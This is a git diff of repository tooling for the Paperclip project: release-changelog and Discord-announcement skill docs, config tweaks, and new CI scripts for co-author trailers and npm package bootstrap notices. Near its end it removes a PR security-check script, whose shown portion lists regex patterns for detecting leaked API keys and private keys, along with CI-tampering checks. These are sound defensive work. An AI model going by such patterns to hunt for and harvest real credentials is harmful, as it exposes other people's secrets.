diff --git a/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md b/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md
index 29af882a84b..06e6b2efe59 100644
--- a/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md
+++ b/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md
@@ -208,7 +208,7 @@ is missing, the cloned app does not have the expected companies/issues/agents,
 or the user explicitly asks for the normal isolated-workspace database.
 
 ```sh
-pnpm paperclipai worktree reseed --from-instance default --seed-mode full --yes
+npx paperclipai worktree reseed --from-instance default --seed-mode full --yes
 ```
 
 After reseed, restart through the managed runtime path. A reseed can copy
diff --git a/.agents/skills/paperclip-page/README.md b/.agents/skills/paperclip-page/README.md
index 47cf6d0f1e6..21bf74d3349 100644
--- a/.agents/skills/paperclip-page/README.md
+++ b/.agents/skills/paperclip-page/README.md
@@ -493,12 +493,12 @@ Create secrets from environment variables so values do not land in shell history
 export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID="$(jq -r '.AccessKey.AccessKeyId' /tmp/paperclip-page-uploader-key.json)"
 export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY="$(jq -r '.AccessKey.SecretAccessKey' /tmp/paperclip-page-uploader-key.json)"
 
-pnpm exec paperclipai secrets create \
+npx paperclipai secrets create \
   --company-id <company-id> \
   --name paperclip-page-aws-access-key-id \
   --value-env PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID
 
-pnpm exec paperclipai secrets create \
+npx paperclipai secrets create \
   --company-id <company-id> \
   --name paperclip-page-aws-secret-access-key \
   --value-env PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY
@@ -532,7 +532,7 @@ host `AWS_PROFILE` identity for the entire agent run:
 Create or update the company skill from this package:
 
 ```bash
-pnpm exec paperclipai skills create \
+npx paperclipai skills create \
   --company-id <company-id> \
   --name "Paperclip Page" \
   --slug paperclip-page \
@@ -543,7 +543,7 @@ pnpm exec paperclipai skills create \
 Attach it to an agent:
 
 ```bash
-pnpm exec paperclipai skills agent sync <agent-id-or-shortname> \
+npx paperclipai skills agent sync <agent-id-or-shortname> \
   --company-id <company-id> \
   --skill paperclip-page
 ```
diff --git a/.agents/skills/release-changelog-discord-message/SKILL.md b/.agents/skills/release-changelog-discord-message/SKILL.md
index 367ee8474d2..cd8cc50af3f 100644
--- a/.agents/skills/release-changelog-discord-message/SKILL.md
+++ b/.agents/skills/release-changelog-discord-message/SKILL.md
@@ -11,7 +11,11 @@ description: >
 Write the Discord release announcement for the **stable** Paperclip release.
 
 This is the companion to `.agents/skills/release-changelog/SKILL.md`. That skill
-generates the file at `releases/vYYYY.MDD.P.md`. This skill turns that file into
+writes the changelog — during the beta soak it lives at
+`releases/beta/v{beta-version}.md` on the `release-notes/v{beta-version}`
+branch, and after the stable ships a canonicalization PR renames it to
+`releases/vYYYY.MDD.P.md` (see that skill's Channel Process section). This
+skill turns that file into
 a single copy-pasteable Discord block, in dotta's voice, and posts it as the
 `discord_announcement` document on the release issue.
 
@@ -27,8 +31,9 @@ current Paperclip work — not invented.
 
 ## When to use
 
-- After `release-changelog` has produced `releases/vYYYY.MDD.P.md` on the
-  release worktree/PR.
+- After `release-changelog` has produced the changelog (beta-keyed on the
+  `release-notes/v{beta-version}` branch during the soak, or the
+  canonicalized `releases/vYYYY.MDD.P.md` after the stable ships).
 - When the release issue (the one assigned by the release routine) asks for a
   Discord announcement, or has a `discord_announcement` document that needs to
   be refreshed for a new date/version.
@@ -123,6 +128,12 @@ Notes on the template:
 
 - The opening and closing `:paperclip: :paperclip: :paperclip:` bookends are
   part of the brand — keep them.
+- Name the install channels somewhere in the post: `npx paperclipai@latest`
+  for the stable, `@beta` / `@nightly` / `@canary` for earlier access, and
+  Docker `:latest` moving **only** on stable releases.
+- The FULL RELEASE NOTES link points at `releases/v{VERSION}.md` on
+  `master` — that file exists only after the post-stable canonicalization
+  PR merges. Merge it before the announcement is posted.
 - Sections may be UPPERCASE or Title Case — dotta has used both. Pick a style
   and stay consistent within a single post.
 - Use `||@everyone||` (Discord spoiler-wrapped) at the very end so it pings
@@ -152,6 +163,9 @@ Mimic this register; do not invent a "professional" tone.
 - **"WHATS NEXT" is forward-looking themes**, not a literal sprint list. 3–5
   bullets is the right size. Pull these from active goals, in-flight projects,
   and recent issues the team is working on — do not invent themes.
+- **Highlights follow the changelog skill's delta rule**: a feature the
+  previous announcement already introduced appears only for what changed
+  this release, and does not headline twice for follow-through work.
 - **"What's on my mind"** is dotta's personal/strategic thinking — docs gaps,
   philosophical positioning ("we're the human control plane for ai labor"),
   invitations ("if you've ever wanted to write about how you use Paperclip,
@@ -163,7 +177,8 @@ Mimic this register; do not invent a "professional" tone.
   (follow the twitter, intros, beta sign-ups). No real ask → drop it.
 - **Community** is the same contributors list that's in the changelog file,
   fenced in a triple-backtick block, comma-separated `@username, @username`.
-  Exclude bots and Paperclip founders, same rules as the changelog skill.
+  Exclude bots and the specific folks on the changelog skill's canonical
+  exclusion list — same rules.
 - **The "In Summary" mission line** evolves slowly. Use the most recent
   variant unless dotta tells you otherwise. Recent variants:
   - "PAPERCLIP IS THE AI ORCHESTRATOR FOR HUMANS TO ACCOMPLISH 100x MORE WORK"
@@ -174,15 +189,19 @@ Mimic this register; do not invent a "professional" tone.
 
 ## Workflow
 
-1. Read the matching `releases/vYYYY.MDD.P.md` produced by `release-changelog`.
-   Use the version and contributor list from that file — never re-derive them.
+1. Read the matching changelog produced by `release-changelog` — the
+   beta-keyed file during the soak, `releases/vYYYY.MDD.P.md` once
+   canonicalized. Use the version and contributor list from that file —
+   never re-derive them.
 2. Resolve the parent `release` case with key `paperclip-release:vYYYY.MDD.P`.
    If it does not exist and Cases are enabled, create it using the schema in
    `.agents/skills/release-changelog/SKILL.md` before creating child cases.
 3. Read the **release issue thread** (the one assigned to you that ran the
    release routine) — comments + linked issues + recent issues in the company
-   are the source for `WHATS NEXT` and `What's on my mind`. Pull real themes,
-   not invented ones.
+   are the source for `WHATS NEXT` and `What's on my mind`. Commits already
+   on `origin/master` **after** the beta source commit are prime "what's
+   next" material: they are literally the next release's content. Pull real
+   themes, not invented ones.
 4. Re-read the three verbatim examples below — they're the canonical voice.
 5. Draft the announcement using the template above.
 6. PUT it as the `discord_announcement` document on the release issue (see
@@ -444,7 +463,8 @@ https://github.com/paperclipai/paperclip/blob/master/releases/v2026.427.0.md
 Before handing off:
 
 1. Version + date match the matching `releases/vYYYY.MDD.P.md` exactly.
-2. Contributor list matches the changelog (same exclusions: bots, founders).
+2. Contributor list matches the changelog (same exclusions: bots and the
+   changelog skill's canonical excluded-folks list).
 3. Highlights are a subset of the changelog Highlights — same shipped features,
    not invented or pre-alpha work.
 4. `WHATS NEXT` and `What's on my mind` are pulled from real recent issues /
diff --git a/.agents/skills/release-changelog/SKILL.md b/.agents/skills/release-changelog/SKILL.md
index 8bf662ed6b3..55e7b360ea3 100644
--- a/.agents/skills/release-changelog/SKILL.md
+++ b/.agents/skills/release-changelog/SKILL.md
@@ -32,14 +32,57 @@ Important rules:
 - do not derive versions from semver bump types
 - do not create canary changelog files
 
+## Channel Process — Source Commit and File Location
+
+Stables promote a **soaked beta**, so the changelog describes the beta's
+source commit, not the tip of `master`:
+
+- The release **source** is the commit the newest `beta/v<beta-version>`
+  tag points at (`{beta-src}` below). Resolve it with:
+
+  ```bash
+  git fetch origin --tags
+  npm view paperclipai dist-tags   # the beta dist-tag names the version
+  git rev-parse 'beta/v{beta-version}^{commit}'
+  ```
+
+- Commits on `master` after `{beta-src}` ship in the **next** release.
+  Never include them; they are input for a "what's next" section, not the
+  changelog.
+- During the soak, the file lives at `releases/beta/v{beta-version}.md`
+  on the branch `release-notes/v{beta-version}` (PR to `master`). The
+  release workflow pushes that branch with a generated skeleton when the
+  beta publishes; work on it and rewrite the skeleton in place. If the
+  branch does not exist (a beta cut before the automation), create it
+  from `origin/master` and seed the skeleton:
+
+  ```bash
+  ./scripts/draft-stable-notes.sh {beta-version}
+  ```
+
+- The PR must merge to `master` **before** the stable is dispatched: the
+  stable preflight reads the file from `master` and fails without it.
+- Never create `releases/vYYYY.MDD.P.md` yourself on this path — after
+  the stable ships, the workflow opens a canonicalization PR that renames
+  the beta-keyed file to it.
+- **Fix path exception** (patch releases from a `candidate/release-*`
+  branch): there the notes *do* go directly on the candidate branch as
+  `releases/vYYYY.MDD.P.md`, committed alongside the cherry-picked fixes.
+
 ## Step 0 — Idempotency Check
 
-Before generating anything, check whether the file already exists:
+Before generating anything, check whether the changelog already exists:
 
 ```bash
-ls releases/vYYYY.MDD.P.md 2>/dev/null
+ls releases/beta/v{beta-version}.md 2>/dev/null   # soak-window home
+ls releases/vYYYY.MDD.P.md 2>/dev/null            # canonicalized / fix path
+git ls-remote origin 'refs/heads/release-notes/v{beta-version}'
 ```
 
+A `release-notes/v{beta-version}` branch holding only the generated
+skeleton is the normal starting state, not a conflict — rewrite it in
+place.
+
 If it exists:
 
 1. read it first
@@ -49,13 +92,17 @@ If it exists:
 
 ## Step 1 — Determine the Stable Range
 
-Find the last stable tag:
+Find the last stable tag and the beta source commit:
 
 ```bash
 git tag --list 'v*' --sort=-version:refname | head -1
-git log v{last}..HEAD --oneline --no-merges
+beta_src="$(git rev-parse 'beta/v{beta-version}^{commit}')"
+git log v{last}..${beta_src} --oneline --no-merges
 ```
 
+The changelog range is always `v{last}..{beta-src}` — never `..HEAD` and
+never `..origin/master`.
+
 The stable version comes from one of:
 
 - an explicit maintainer request
@@ -76,8 +123,8 @@ Collect release data from:
 Useful commands:
 
 ```bash
-git log v{last}..HEAD --oneline --no-merges
-git log v{last}..HEAD --format="%H %s" --no-merges
+git log v{last}..{beta-src} --oneline --no-merges
+git log v{last}..{beta-src} --format="%H %s" --no-merges
 ls .changeset/*.md | grep -v README.md
 gh pr list --state merged --search "merged:>={last-tag-date}" --json number,title,body,labels
 ```
@@ -94,10 +141,10 @@ Look for:
 Key commands:
 
 ```bash
-git diff --name-only v{last}..HEAD -- packages/db/src/migrations/
-git diff v{last}..HEAD -- packages/db/src/schema/
-git diff v{last}..HEAD -- server/src/routes/ server/src/api/
-git log v{last}..HEAD --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true
+git diff --name-only v{last}..{beta-src} -- packages/db/src/migrations/
+git diff v{last}..{beta-src} -- packages/db/src/schema/
+git diff v{last}..{beta-src} -- server/src/routes/ server/src/api/
+git log v{last}..{beta-src} --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true
 ```
 
 If breaking changes are detected, flag them prominently — they must appear in the
@@ -121,6 +168,14 @@ Guidelines:
 - write from the user perspective
 - keep highlights short and concrete
 - spell out upgrade actions for breaking changes
+- **describe deltas, not repeats**: read the previous stable's notes
+  (`releases/v<last-stable>.md`) before writing. When they already
+  introduced a feature, this release's entry covers only what changed —
+  a default flip, a hardening, a completion — phrased against the prior
+  release ("last release introduced X; this release makes it the
+  default"), never re-describing the feature as if it debuted. A theme
+  that headlined the previous release does not headline again for
+  follow-through work; demote it to Improvements.
 
 ### Inline PR and contributor attribution
 
@@ -143,6 +198,14 @@ Rules:
 
 ## Step 5 — Write the File
 
+The **file path** is the beta-keyed one from the Channel Process section
+(`releases/beta/v{beta-version}.md`), but the **content** is titled with
+the planned stable version. Resolve it with
+`./scripts/release.sh stable --date {planned-promotion-date} --print-version`
+(promotion is normally the beta publish date plus the 3-day soak). If the
+promotion date slips, the version re-resolves at dispatch — the beta-keyed
+filename makes that harmless; refresh the title when it happens.
+
 The opening line of the changelog must be an H1 of the format `# Paperclip {version}`
 (no braces), e.g. `# Paperclip v2026.618.0`. Always include the `Paperclip ` prefix and
 the `v` on the version.
@@ -177,14 +240,18 @@ The `Contributors` section should always be included. List every person who auth
 commits in the release range, @-mentioning them by their **GitHub username** (not their
 real name or email). To find GitHub usernames:
 
-1. Extract usernames from merge commit messages: `git log v{last}..HEAD --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username.
+1. Extract usernames from merge commit messages: `git log v{last}..{beta-src} --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username.
 2. For noreply emails like `user@users.noreply.github.com`, the username is the part before `@`.
 3. For contributors whose username is ambiguous, check `gh api users/{guess}` or the PR page.
 
 **Never expose contributor email addresses.** Use `@username` only.
 
 Exclude bot accounts (e.g. `lockfile-bot`, `dependabot`) from the list.
-Exclude Paperclip founders from the list (e.g. `cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`)
+Exclude specific folks from the list — the Contributors section credits
+community contributors only. The canonical exclusion list (keep it here;
+the Discord skill defers to it):
+`cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`,
+`nguyenm7`, `nickyleach`, `tonio-alucema`
 
 List contributors in alphabetical order by GitHub username (case-insensitive).
 
diff --git a/.claude/launch.json b/.claude/launch.json
index 7cbc05c40a6..6258bdc8ccf 100644
--- a/.claude/launch.json
+++ b/.claude/launch.json
@@ -4,9 +4,12 @@
     {
       "name": "paperclip",
       "runtimeExecutable": "/bin/sh",
-      "runtimeArgs": ["-c", "TMPDIR=/tmp pnpm dev"],
+      "runtimeArgs": [
+        "-c",
+        "TMPDIR=/tmp pnpm dev"
+      ],
       "port": 3108,
-      "autoPort": false
+      "autoPort": true
     }
   ]
 }
diff --git a/.env.example b/.env.example
index e747df0914d..ddd69484baa 100644
--- a/.env.example
+++ b/.env.example
@@ -4,5 +4,11 @@ SERVE_UI=false
 BETTER_AUTH_SECRET=paperclip-dev-secret
 PAPERCLIP_TOOL_ACTION_SIGNING_SECRET=paperclip-dev-tool-action-signing-secret-change-me
 
+# Process-wide protection for expensive full-tree workspace Git scans.
+# PAPERCLIP_WORKSPACE_GIT_SCAN_CONCURRENCY=2
+# PAPERCLIP_WORKSPACE_GIT_SCAN_QUEUE_CAPACITY=32
+# PAPERCLIP_WORKSPACE_GIT_SCAN_TIMEOUT_MS=8000
+# PAPERCLIP_WORKSPACE_GIT_SCAN_CACHE_TTL_MS=10000
+
 # Discord webhook for daily merge digest (scripts/discord-daily-digest.sh)
 # DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/...
diff --git a/.github/dependabot.yml b/.github/dependabot.yml
index 33caa46d21c..70158884961 100644
--- a/.github/dependabot.yml
+++ b/.github/dependabot.yml
@@ -6,19 +6,21 @@ updates:
       interval: weekly
       day: monday
       time: "06:00"
-    open-pull-requests-limit: 10
+    # Each dependency update gets its own pull request, including major
+    # version bumps. A grouped major PR cannot merge when one member has
+    # a blocked upgrade, so it hides the other ready majors. Separate PRs
+    # let each major land on its own. The limit holds the initial burst
+    # of pending majors plus the regular minor and patch updates.
+    open-pull-requests-limit: 20
     labels:
       - "dependencies"
-    groups:
-      # Bundle all major version bumps into a single weekly PR so they
-      # stay visible without flooding the PR list. Minor/patch updates
-      # still get individual PRs.
-      major-updates:
-        applies-to: version-updates
+    ignore:
+      # @types/node describes the APIs available in the supported Node runtime.
+      # Runtime major upgrades are deliberate compatibility changes, so keep
+      # Dependabot on the current major until the runtime baseline moves too.
+      - dependency-name: "@types/node"
         update-types:
-          - "major"
-        patterns:
-          - "*"
+          - "version-update:semver-major"
 
   - package-ecosystem: github-actions
     directory: "/"
diff --git a/.github/scripts/check-pr-coauthors.mjs b/.github/scripts/check-pr-coauthors.mjs
new file mode 100644
index 00000000000..13239dd8e1d
--- /dev/null
+++ b/.github/scripts/check-pr-coauthors.mjs
@@ -0,0 +1,135 @@
+#!/usr/bin/env node
+/**
+ * check-pr-coauthors.mjs
+ * Surfaces the `Co-Authored-By` trailers a squash merge needs to keep
+ * contributors credited.
+ * Export: checkCoauthors(commits, prAuthor) → { passed, informational }
+ *
+ * This repository squash-merges, so every commit on a branch collapses into
+ * one commit authored by whoever presses the button. When a branch carries
+ * someone else's work — a rebase of a stale contributor PR, a port of an
+ * abandoned branch, a pairing session — their name survives only if the squash
+ * message carries a `Co-Authored-By` trailer for them. Nothing prompts for it,
+ * and the PR page keeps showing the original author either way, so the loss is
+ * invisible at exactly the moment it happens.
+ *
+ * Identity matching is a heuristic and is deliberately biased. A commit GitHub
+ * could not match to an account is credited unless its name or email resolves
+ * to the PR author, which will occasionally credit someone as a co-author of
+ * themselves — their git config carrying a real name where the comparison has
+ * only a login. That error costs a line a human drops while pasting. The
+ * opposite error costs a contributor their attribution silently, which is the
+ * failure this gate exists to prevent, so the bias runs towards over-crediting.
+ *
+ * Informational rather than a failure, on purpose. The squash message does not
+ * exist while the PR is open, so this cannot be verified here and cannot be
+ * fixed here either. Failing the PR would block work on something its author
+ * has no way to satisfy. What this can do is notice that the situation applies
+ * and hand over the exact lines to paste.
+ */
+import { fileURLToPath } from 'node:url';
+
+/**
+ * Fetches every commit on a PR across GitHub pagination.
+ *
+ * Capped at the API's own ceiling: `/pulls/{n}/commits` returns at most 250
+ * commits and silently stops. A branch that large is not the case this gate is
+ * about, and a partial list still surfaces the contributors it did see.
+ */
+export async function fetchAllPullRequestCommits(ghFetchFn, repo, prNumber, token) {
+  const commits = [];
+
+  for (let page = 1; page <= 3; page += 1) {
+    const batch = await ghFetchFn(
+      `/repos/${repo}/pulls/${prNumber}/commits?per_page=100&page=${page}`,
+      token
+    );
+    commits.push(...batch);
+
+    if (batch.length < 100) break;
+  }
+
+  return commits;
+}
+
+/** GitHub's own no-reply address for a login, which is what trailers should use. */
+function noReplyEmail(login) {
+  return `${login}@users.noreply.github.com`;
+}
+
+export function checkCoauthors(commits, prAuthor) {
+  const author = (prAuthor ?? '').toLowerCase();
+  const contributors = new Map();
+  // Emails already accounted for under a GitHub login. One person can appear
+  // both ways in the same branch — some commits matched to their account, some
+  // authored with an email GitHub does not know — and keying on login alone
+  // would then emit two trailers for them.
+  const seenEmails = new Set();
+
+  for (const entry of commits ?? []) {
+    const login = entry?.author?.login ?? null;
+    const gitName = entry?.commit?.author?.name ?? null;
+    const gitEmail = entry?.commit?.author?.email ?? null;
+
+    // The PR author's own commits need no trailer — the squash is already
+    // theirs. Compared case-insensitively because GitHub logins are.
+    if (login && author && login.toLowerCase() === author) continue;
+
+    // Bots author plenty of commits and crediting them is noise.
+    if (login && /\[bot\]$/.test(login)) continue;
+    if (!login && !gitName) continue;
+
+    // A commit GitHub could not match to an account may still be the PR
+    // author's own — their git config carrying an email GitHub does not know.
+    // Without this they are listed as a co-author of themselves.
+    if (!login && author) {
+      const nameMatches = gitName && gitName.toLowerCase() === author;
+      const emailMatches = gitEmail && gitEmail.toLowerCase().startsWith(`${author}@`);
+      if (nameMatches || emailMatches) continue;
+    }
+
+    // Prefer the GitHub identity, so the trailer links to a profile. Fall back
+    // to the raw git author for a commit GitHub could not match to an account.
+    const name = login ?? gitName;
+    const email = login ? noReplyEmail(login) : gitEmail;
+    if (!email) continue;
+
+    // Keyed on identity, not on the rendered line. One person whose git config
+    // name changed across commits is still one person, and emitting them twice
+    // would put two trailers for the same contributor into the squash body.
+    const key = (login ?? gitEmail ?? name).toLowerCase();
+    if (contributors.has(key)) continue;
+    const emailKey = (gitEmail ?? '').toLowerCase();
+    if (emailKey && seenEmails.has(emailKey)) continue;
+    if (emailKey) seenEmails.add(emailKey);
+
+    const displayName = gitName && login ? gitName : name;
+    contributors.set(key, {
+      trailer: `Co-Authored-By: ${displayName} <${email}>`,
+      name: displayName,
+    });
+  }
+
+  if (contributors.size === 0) return { passed: true, informational: [] };
+
+  const trailers = [...contributors.values()].map(c => c.trailer).sort();
+  const names = [...new Set([...contributors.values()].map(c => c.name))].sort();
+  const who = names.length === 1 ? names[0] : `${names.length} other contributors`;
+
+  return {
+    passed: true,
+    informational: [
+      `This branch carries commits by ${who}. Squash-merging drops that authorship unless ` +
+      'the squash message carries their trailers, and nothing else will notice if it does not. ' +
+      'Add to the squash body when merging:\n\n' +
+      trailers.map(line => `      ${line}`).join('\n'),
+    ],
+  };
+}
+
+if (process.argv[1] === fileURLToPath(import.meta.url)) {
+  const commits = JSON.parse(process.env.PR_COMMITS ?? '[]');
+  const result = checkCoauthors(commits, process.env.PR_AUTHOR ?? '');
+  console.log(JSON.stringify(result));
+  process.exit(0);
+}
diff --git a/.github/scripts/check-pr-release-bootstrap.mjs b/.github/scripts/check-pr-release-bootstrap.mjs
new file mode 100644
index 00000000000..215c3b3afe7
--- /dev/null
+++ b/.github/scripts/check-pr-release-bootstrap.mjs
@@ -0,0 +1,151 @@
+#!/usr/bin/env node
+/**
+ * check-pr-release-bootstrap.mjs
+ * Detects release packages that this PR adds or newly release-enables whose
+ * names do not exist on npm yet, and emits an informational notice: the
+ * `policy` CI job will stay red until a maintainer bootstraps the name with
+ * `pnpm run release:bootstrap-package`. Contributors cannot fix that
+ * themselves, so the notice says so explicitly.
+ *
+ * Never fails (informational only) — outputs { passed: true, informational: string[] }
+ *
+ * Runs under pull_request_target from base-branch context: it only parses
+ * JSON and diff text fetched from the GitHub API and queries the npm registry
+ * with scope-validated names. It never executes PR code.
+ */
+import { fileURLToPath } from 'node:url';
+import { ghFetch } from './get-bot-token.mjs';
+import { resolveBaseRef } from './check-pr-dependencies.mjs';
+
+const MANIFEST_PATH = 'scripts/release-package-manifest.json';
+
+// Manifest content comes from the PR head (fork-controlled), so only names
+// matching our scope are ever looked up on the registry.
+const SCOPE_RE = /^@paperclipai\/[a-z0-9][a-z0-9._-]*$/;
+
+const MAX_REGISTRY_LOOKUPS = 5;
+
+function buildContentsPath(repo, filename, ref) {
+  return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`;
+}
+
+async function fetchManifestEntries(fetchFromGitHub, token, repo, ref) {
+  try {
+    const res = await fetchFromGitHub(buildContentsPath(repo, MANIFEST_PATH, ref), token);
+    const parsed = JSON.parse(Buffer.from(res.content, 'base64').toString());
+    return Array.isArray(parsed) ? parsed : [];
+  } catch {
+    return []; // manifest missing or unreadable on this ref
+  }
+}
+
+export async function fetchRegistryPackageExists(packageName) {
+  const res = await fetch(`https://registry.npmjs.org/${encodeURIComponent(packageName)}`, {
+    method: 'HEAD',
+  });
+  if (res.status === 404) return false;
+  if (res.ok) return true;
+  throw new Error(`npm registry returned ${res.status} for ${packageName}`);
+}
+
+// Names this PR newly declares a workspace dependency on, per the diff of any
+// changed package.json. If one of them is an unpublished manifest entry that
+// is not publishFromCi:true, the release manifest validator rejects the PR.
+export function addedWorkspaceDependencyNames(files) {
+  const names = new Set();
+  for (const file of files) {
+    if (!file.filename.endsWith('package.json')) continue;
+    if (file.filename.includes('node_modules')) continue;
+    for (const line of (file.patch ?? '').split('\n')) {
+      if (!line.startsWith('+')) continue;
+      const match = line.match(/"(@paperclipai\/[a-z0-9][a-z0-9._-]*)"\s*:\s*"workspace:/);
+      if (match) names.add(match[1]);
+    }
+  }
+  return names;
+}
+
+function buildNotice({ name, reason }) {
+  const bootstrap =
+    `a **maintainer** must run \`pnpm run release:bootstrap-package -- ${name} --publish\` ` +
+    'and configure npm trusted publishing (see `doc/PUBLISHING.md`)';
+
+  if (reason === 'depended') {
+    return (
+      `🚀 New release package \`${name}\` is not on npm yet, and published packages in this PR ` +
+      `depend on it, so the \`policy\` check will stay red: ${bootstrap}, then set its manifest ` +
+      `entry to \`"publishFromCi": true\` — or drop the workspace dependency. ` +
+      'No contributor action is needed for the bootstrap itself.'
+    );
+  }
+
+  return (
+    `🚀 New release package \`${name}\` is not on npm yet, so the \`policy\` check will stay ` +
+    `red: ${bootstrap}. No contributor action is needed for this.`
+  );
+}
+
+export async function checkReleaseBootstrap(files, token, repo, prNumber, baseRef, deps = {}) {
+  const { fetchFromGitHub = ghFetch, registryPackageExists = fetchRegistryPackageExists } = deps;
+
+  const manifestChanged = files.some(
+    f => f.filename === MANIFEST_PATH && f.status !== 'removed'
+  );
+  // A PR can hit the manifest edge validator without touching the manifest:
+  // adding a workspace:* dependency on an existing unpublished
+  // publishFromCi:false package. Patch parsing is free, so compute the added
+  // dependencies first and keep the zero-API fast path only for PRs that
+  // neither touch the manifest nor add a workspace dependency.
+  const dependedOn = addedWorkspaceDependencyNames(files);
+  if (!manifestChanged && dependedOn.size === 0) return { passed: true, informational: [] };
+
+  const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef);
+  const [baseEntries, headEntries] = await Promise.all([
+    fetchManifestEntries(fetchFromGitHub, token, repo, resolvedBaseRef),
+    fetchManifestEntries(fetchFromGitHub, token, repo, `refs/pull/${prNumber}/head`),
+  ]);
+
+  const basePublishFromCiByName = new Map(
+    baseEntries
+      .filter(e => e && typeof e.name === 'string')
+      .map(e => [e.name, e.publishFromCi === true])
+  );
+
+  const candidates = [];
+  for (const entry of headEntries) {
+    if (!entry || typeof entry.name !== 'string') continue;
+    const name = entry.name;
+    if (!SCOPE_RE.test(name)) continue;
+
+    const enabled = entry.publishFromCi === true;
+    const baseEnabled = basePublishFromCiByName.get(name);
+
+    if (enabled && baseEnabled !== true) {
+      // Newly release-enabled (added as true, or flipped false -> true): the
+      // bootstrap gate itself will fail if the name is missing from npm.
+      candidates.push({ name, reason: 'enabled' });
+    } else if (!enabled && dependedOn.has(name)) {
+      // Not release-enabled but this PR makes published packages depend on
+      // it: the manifest edge validator will fail if it stays unpublished.
+      candidates.push({ name, reason: 'depended' });
+    }
+  }
+
+  const informational = [];
+  for (const candidate of candidates.slice(0, MAX_REGISTRY_LOOKUPS)) {
+    let exists;
+    try {
+      exists = await registryPackageExists(candidate.name);
+    } catch {
+      continue; // registry hiccup: stay quiet, the policy job is the enforcer
+    }
+    if (!exists) informational.push(buildNotice(candidate));
+  }
+
+  return { passed: true, informational };
+}
+
+if (process.argv[1] === fileURLToPath(import.meta.url)) {
+  console.error('check-pr-release-bootstrap.mjs is a library used by run-quality-gates.mjs');
+  process.exit(1);
+}
diff --git a/.github/scripts/check-pr-security.mjs b/.github/scripts/check-pr-security.mjs
deleted file mode 100644
index 2361b2bf364..00000000000
--- a/.github/scripts/check-pr-security.mjs
+++ /dev/null
@@ -1,393 +0,0 @@
-#!/usr/bin/env node
-/**
- * check-pr-security.mjs
- * Runs 6 security checks against a PR diff. Never posts public comments.
- * Creates a draft security advisory in the repo if any check fires.
- *
- * Env: GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR
- * Exit: always 0 — security flags are silent, never block the PR visibly.
- */
-import { fileURLToPath } from 'node:url';
-import { ghFetch } from './get-bot-token.mjs';
-import { fetchAllPullRequestFiles } from './fetch-pr-files.mjs';
-import { resolveBaseRef } from './check-pr-dependencies.mjs';
-
-// ── Pure check functions (exported for testing) ───────────────────────────────
-
-const SECRET_PATTERNS = [
-  { name: 'OpenAI API key', re: /sk-[a-zA-Z0-9]{32,}/ },
-  { name: 'Google API key', re: /AIza[0-9A-Za-z\-_]{35}/ },
-  { name: 'AWS access key', re: /AKIA[0-9A-Z]{16}/ },
-  { name: 'Private key', re: /-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----/ },
-  { name: 'High-entropy secret', re: /[a-zA-Z_]*(key|token|secret|password|credential)[a-zA-Z_]*\s*[=:]\s*["'][^"']{20,}["']/i },
-];
-
-export function scanSecrets(files) {
-  const flags = [];
-  for (const file of files) {
-    if (!file.patch) continue;
-    const added = file.patch.split('\n').filter(l => l.startsWith('+') && !l.startsWith('+++'));
-    for (const line of added) {
-      for (const { name, re } of SECRET_PATTERNS) {
-        if (re.test(line)) {
-          flags.push({ check: 'secret-scan', file: file.filename, pattern: name, line: line.slice(0, 120) });
-        }
-      }
-    }
-  }
-  return flags;
-}
-
-const CI_BUILD_SCRIPTS = [
-  'scripts/release.sh',
-  'scripts/check-docker-deps-stage.mjs',
-  'scripts/check-release-package-bootstrap.mjs',
-  'scripts/release-package-map.mjs',
-  'scripts/docker-onboard-smoke.sh',
-];
-
-export function scanCITampering(files) {
-  return files
-    .filter(f => f.filename.startsWith('.github/workflows/') && f.status !== 'removed')
-    .map(f => ({ check: 'ci-tampering', file: f.filename }));
-}
-
-export function scanBuildScripts(files) {
-  return files
-    .filter(f => CI_BUILD_SCRIPTS.includes(f.filename) && f.status !== 'removed')
-    .map(f => ({ check: 'build-script-change', file: f.filename }));
-}
-
-export function scanSupplyChain(files) {
-  const lockfile = files.find(f => f.filename === 'pnpm-lock.yaml');
-  if (!lockfile?.patch) return [];
-
-  const added = new Set();
-  const removed = new Set();
-
-  for (const line of lockfile.patch.split('\n')) {
-    const entry = parseLockfilePackageDiffEntry(line);
-    if (!entry) continue;
-    if (entry.sign === '+') added.add(entry.packageName);
-    if (entry.sign === '-') removed.add(entry.packageName);
-  }
-
-  const netNew = [...added].filter(p => !removed.has(p));
-  return netNew.length ? [{ check: 'supply-chain', packages: netNew }] : [];
-}
-
-function parseLockfilePackageDiffEntry(line) {
-  const match = line.match(/^([+-])\s*(.+?)\s*$/);
-  if (!match) return null;
-
-  let [, sign, rawEntry] = match;
-  if (!rawEntry.endsWith(':')) return null;
-
-  rawEntry = rawEntry.slice(0, -1).trim();
-  if ((rawEntry.startsWith("'") && rawEntry.endsWith("'")) || (rawEntry.startsWith('"') && rawEntry.endsWith('"'))) {
-    rawEntry = rawEntry.slice(1, -1);
-  }
-  rawEntry = rawEntry.replace(/\(.*$/, '').trim();
-
-  const versionSep = rawEntry.lastIndexOf('@');
-  if (versionSep <= 0 || versionSep === rawEntry.length - 1) return null;
-
-  const packageName = rawEntry.slice(0, versionSep);
-  if (!/^(?:@[^/\s:]+\/)?[A-Za-z0-9._-][A-Za-z0-9._/-]*$/.test(packageName)) return null;
-
-  return { sign, packageName };
-}
-
-const TEST_FILE_RE = /\.(test|spec)\.(ts|js|tsx|jsx)$|\/(?:__tests__|tests?)\//;
